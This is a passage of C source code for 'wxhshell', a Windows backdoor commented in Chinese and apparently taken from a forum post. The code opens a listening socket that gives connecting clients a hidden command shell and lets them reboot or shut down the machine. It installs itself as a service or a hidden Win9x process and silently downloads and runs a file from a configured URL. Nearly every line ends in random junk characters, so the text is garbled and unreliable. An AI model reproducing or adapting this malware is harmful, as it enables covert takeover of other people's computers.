  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9`{2h$U  
  } n^02@Aw  
  else { s*~o%emw  
DZ.trtK  
    switch(cmd[0]) {  0QqzS  
  HjS^ nYl  
  // 帮助 !y~b;>887  
  case '?': { j]"xck  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !@Lc/'w  
    break; 9nS!  
  } %:?QE ;  
  // 安装 xN8JrZE&  
  case 'i': { Jk`)`94 I  
    if(Install()) ok2~B._+;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[f`HY&  
    else =Zy!',,d,9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ><R.z( 4%  
    break; AuipK*&g  
    } H<}eoU.  
  // 卸载 :&)/vq  
  case 'r': { ld}$Tsy0  
    if(Uninstall()) {dXBXC/Ju  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '\B"g@if  
    else "nno)~)u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _i@eOqoC  
    break; TeCpT2!5j  
    } .<^Y E%  
  // 显示 wxhshell 所在路径 /'fDXSdP  
  case 'p': { {WeXURp&nF  
    char svExeFile[MAX_PATH]; `lezJ (Xm  
    strcpy(svExeFile,"\n\r"); }k0-?_Z=1  
      strcat(svExeFile,ExeFile); A=d$ir K[  
        send(wsh,svExeFile,strlen(svExeFile),0); )2Ru!l#  
    break; R 0HVLQI  
    } X/K)kIi  
  // 重启 'Sy *'&  
  case 'b': { -Dxhq& }Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I''R\B p  
    if(Boot(REBOOT)) A{x 7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z WRRh^  
    else { ]j2v"n  
    closesocket(wsh); Pph8"`mv.m  
    ExitThread(0); i6#]$B  
    } T) tZU?  
    break; )]c3bMVE-  
    } s[2ZxCrCw  
  // 关机 )1nCw  
  case 'd': { #3yw   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 83ic@[  
    if(Boot(SHUTDOWN)) "=\_++  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6eYf2sZ;J  
    else { =l2Dm  
    closesocket(wsh); _ c ]3nzIr  
    ExitThread(0); 66@3$P%1p  
    } s7nX\:Bw:  
    break; h<' 5q&y  
    } Oqpl2Y"/  
  // 获取shell -jtC>_/  
  case 's': { 14n="-9  
    CmdShell(wsh); t_>bTcsU  
    closesocket(wsh); dEd]U49u  
    ExitThread(0); B5,QJ W*  
    break; k)usUP'  
  } hdr}!w V  
  // 退出 JV]u(PL  
  case 'x': { IgVo%)n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [}ZPg3Y  
    CloseIt(wsh); G</I%qM  
    break; v V6Lp  
    } SAG` ^t  
  // 离开 K+@eH#Cv,(  
  case 'q': { ]8m_*I!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YP#AB]2\}  
    closesocket(wsh); O(D5A?tv!  
    WSACleanup(); A?IZ( Zx(`  
    exit(1); B(\r+"PB  
    break; H8-D'q>R  
        } *M&VqG4P9w  
  } BnaU)E h  
  } ,> (bt%b  
}x?H ~QQT  
  // 提示信息 _@/C~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I51oG:6fR?  
} ..]*Ao2  
  } RJRq` T|m  
A!ioji+{[  
  return; {;iH Yr-zs  
} /}nrF4S  
_D>as\dP  
// shell模块句柄 833 %H`jQc  
int CmdShell(SOCKET sock) uojh%@.4  
{ ! nCjA\$  
STARTUPINFO si; xv$)u<Ve  
ZeroMemory(&si,sizeof(si)); JXL9Gge  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Xve qUUU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S0N2rU  
PROCESS_INFORMATION ProcessInfo; (lN;xT`=  
char cmdline[]="cmd"; p<HTJ0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NDRW  
  return 0; XatA8(_,5  
} xi?P(s A  
^$=tcoQG  
// 自身启动模式 e|b~[|;*=  
int StartFromService(void) 'n^2|"$sH  
{ ;v,9 v;T  
typedef struct Jm %ynW  
{ %Ui{=920  
  DWORD ExitStatus; %wt2F-u  
  DWORD PebBaseAddress; A \MfF  
  DWORD AffinityMask; ` /I bWu  
  DWORD BasePriority; !f\?c7  
  ULONG UniqueProcessId; Gpdv]SON{  
  ULONG InheritedFromUniqueProcessId; dNUR)X#e  
}   PROCESS_BASIC_INFORMATION; vXy uEEe  
*|LbbRu  
PROCNTQSIP NtQueryInformationProcess; E[jXUOu-  
Q(IJD4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R%b*EBZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &r'{(O8$N  
k<YtoV  
  HANDLE             hProcess; 8ji^d1G,  
  PROCESS_BASIC_INFORMATION pbi; cc|CC Zl  
<$jKy3@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ; .ysCF  
  if(NULL == hInst ) return 0; Pgn_9Y?<  
x?,~TC4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G&x'=dJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y&vHOA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jDlA<1  
T[0V%Br{d+  
  if (!NtQueryInformationProcess) return 0; 8pYyG |\  
/[a|DUoHO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cT-K@dg  
  if(!hProcess) return 0; C9<4~IM w  
45x,|h[F{5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SkiJ pMN  
7fTxGm  
  CloseHandle(hProcess); 1@A7h$1P  
-|m$YrzG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xi6 80'  
if(hProcess==NULL) return 0; ^Sy^+=wK3  
(jM<T;4  
HMODULE hMod; 2c}B  
char procName[255]; V~OUE]]Q  
unsigned long cbNeeded; = :Po%Z%{  
XnBm`vk?V!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O6y @G .+  
sS, zzx<  
  CloseHandle(hProcess); o"|O ]  
.aNO( /kO  
if(strstr(procName,"services")) return 1; // 以服务启动 j#N(1}r=1  
}*iAE>;  
  return 0; // 注册表启动 89zuL18V  
} luW <V>  
h ZoC _\  
// 主模块 g-."sniP$g  
int StartWxhshell(LPSTR lpCmdLine) p1Q/g Il  
{ MWM +hk1fs  
  SOCKET wsl; |]^l^e 6m  
BOOL val=TRUE; |vv]Z(_  
  int port=0; \). Nag+  
  struct sockaddr_in door; za,6 du6  
fC_zX}3  
  if(wscfg.ws_autoins) Install(); #hIEEkCp +  
&oA~ Tx  
port=atoi(lpCmdLine); k_]\(myq  
5B%w]n  
if(port<=0) port=wscfg.ws_port; lZ}P{d'f.  
F(deu^s%{  
  WSADATA data; %fHH{60  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $zdd=.!KiK  
T`uDlo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X$/E>I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j*XjY[  
  door.sin_family = AF_INET; dIma{uv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /x$}D=(CZ  
  door.sin_port = htons(port); g{e/X~  
21U&Ww  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >yX/+p_  
closesocket(wsl); -:MmSeG7gO  
return 1; >GgE,h  
} 8pqs?L@W  
,ohmc\*J  
  if(listen(wsl,2) == INVALID_SOCKET) { 9 +}cE**=d  
closesocket(wsl); ri:,q/-  
return 1; 19'5Re&  
} _0K.Fk*(!  
  Wxhshell(wsl); f6Ml[!aU  
  WSACleanup(); =tq1ogE  
ThtMRB)9  
return 0; 6_WmCtvF  
Z%#^xCz;w>  
} |7y6 pz  
{t&*>ma6)  
// 以NT服务方式启动 d [r-k 2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J<rlz5':  
{ :i.t)ES  
DWORD   status = 0; f_rp<R>Uu  
  DWORD   specificError = 0xfffffff; Wj&nUp{  
$|k%@Q>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 975 _d_U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xpAok]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^CUSlnB\(  
  serviceStatus.dwWin32ExitCode     = 0; )#a7'Ba  
  serviceStatus.dwServiceSpecificExitCode = 0;  7SaiS_{:  
  serviceStatus.dwCheckPoint       = 0; WVOoHH  
  serviceStatus.dwWaitHint       = 0; P7Xg{L&@.  
)AI?x@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RB [/q:  
  if (hServiceStatusHandle==0) return; syR N4  
6(Vhtr2( *  
status = GetLastError(); J smB^  
  if (status!=NO_ERROR) ;`+`#h3-V  
{ m^Glc?g<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q(gjT^aN  
    serviceStatus.dwCheckPoint       = 0; j1A|D   
    serviceStatus.dwWaitHint       = 0; !.*iw k`  
    serviceStatus.dwWin32ExitCode     = status; 9p4y>3  
    serviceStatus.dwServiceSpecificExitCode = specificError; X &D{5~qC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NEw $q4  
    return; ~cIl$b  
  } a$}NW.  
ytiyF2Kp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o,1Dqg4P3  
  serviceStatus.dwCheckPoint       = 0; `]jqQr97  
  serviceStatus.dwWaitHint       = 0; o5SQ1;`   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); myIe_k,F  
} W&YU^&`Yr  
OM)3Y6rK  
// 处理NT服务事件,比如:启动、停止 V#L'7">VP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zW5C1:.3K  
{ b1xpz1  
switch(fdwControl) &))\2pl  
{ |NJ}F@t/5  
case SERVICE_CONTROL_STOP: vQgq]mA?  
  serviceStatus.dwWin32ExitCode = 0; BZ+;n |<r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6WeM rWx  
  serviceStatus.dwCheckPoint   = 0; ~>g+2]Bn>$  
  serviceStatus.dwWaitHint     = 0; -9d%+O~v6~  
  { &?y7I Pp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RkA8  
  } +P)ys#=  
  return; {~'H  
case SERVICE_CONTROL_PAUSE: &iBNO,v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CW p#^1F  
  break; 1'Rmg\(  
case SERVICE_CONTROL_CONTINUE: Xh}&uZ`A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FY4T(4#  
  break; y^R4I_* z  
case SERVICE_CONTROL_INTERROGATE: ezUQ> e  
  break; wt?o 7R2  
}; D:9 2\l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q+'nw9:;T  
} UV@0gdy[  
G?xJv`"9iC  
// 标准应用程序主函数 [Gtb+'8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O,'#C\   
{ E7`qmn  
{[W(a<%bXm  
// 获取操作系统版本 ]Lm'RlV  
OsIsNt=GetOsVer(); C6]OAUXy:F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "%@v++4y  
X{\jK]O  
  // 从命令行安装 ),` 8eQC  
  if(strpbrk(lpCmdLine,"iI")) Install(); ix&'0IrX*  
lP3h<j  
  // 下载执行文件 orqJ[!u)`  
if(wscfg.ws_downexe) { y' [LNp V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z9[+'ZWt  
  WinExec(wscfg.ws_filenam,SW_HIDE); ||Y<f *  
} I 8z G~L%"  
d:rGyA]  
if(!OsIsNt) { $FX,zC<=  
// 如果时win9x,隐藏进程并且设置为注册表启动 g`[$Xi R  
HideProc(); R\O.e  
StartWxhshell(lpCmdLine); x+7*ADKb  
} l'"'o~MC  
else v0LGdX)/Y  
  if(StartFromService())  prrT:Y  
  // 以服务方式启动 G3a7`CD  
  StartServiceCtrlDispatcher(DispatchTable); wxdyF&U n  
else :kG)sw7  
  // 普通方式启动 x-;`-Uo%  
  StartWxhshell(lpCmdLine); t)a;/scT  
|8U;m:AS  
return 0; B<,YPS8w  
}
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只看该作者 1 发表于: 2006-10-10
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